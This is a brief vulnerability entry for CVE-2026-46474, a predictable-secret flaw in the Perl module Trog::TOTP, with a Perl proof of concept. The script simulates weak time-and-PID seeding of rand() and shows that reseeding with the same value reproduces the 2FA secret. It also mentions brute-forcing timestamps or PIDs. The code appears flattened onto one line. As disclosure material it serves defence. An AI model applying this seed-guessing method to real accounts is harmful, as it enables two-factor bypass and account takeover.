CVE-2026-46474 Trog::TOTP弱随机数生成漏洞

#!/usr/bin/perl # PoC for CVE-2026-46474: Predictable Secret Generation # This script demonstrates how an attacker can reproduce the secret # if the seed (e.g., process ID or time) is known or guessed. use strict; use warnings; # Simulate the vulnerable secret generation logic sub vulnerable_secret_gen { # Vulnerable code uses srand implicitly or explicitly with predictable values # srand(time() ^ $$); # Example of weak seeding my $secret_len = 20; my $secret = ""; for (1..$secret_len) { # rand() is predictable and not cryptographically secure $secret .= chr(int(rand(256))); } return unpack("H*", $secret); } # Attacker's simulation to reproduce the secret sub reproduce_secret { my ($seed) = @_; srand($seed); # Attacker sets the seed to what they think the server used my $secret_len = 20; my $secret = ""; for (1..$secret_len) { $secret .= chr(int(rand(256))); } return unpack("H*", $secret); } # Scenario: Server generates a secret at a specific time my $server_seed = time() ^ $$; # Hypothetical server seed srand($server_seed); my $actual_secret = vulnerable_secret_gen(); print "[+] Server Generated Secret: $actual_secret\n"; # Attacker guesses the seed (e.g., by knowing the approximate time of creation) # In a real attack, this might involve brute-forcing a small range of PIDs or timestamps my $guessed_seed = $server_seed; my $cracked_secret = reproduce_secret($guessed_seed); print "[+] Attacker Reproduced Secret: $cracked_secret\n"; if ($actual_secret eq $cracked_secret) { print "[SUCCESS] Secret prediction successful! 2FA can be bypassed.\n"; } else { print "[FAIL] Seed guess incorrect.\n"; }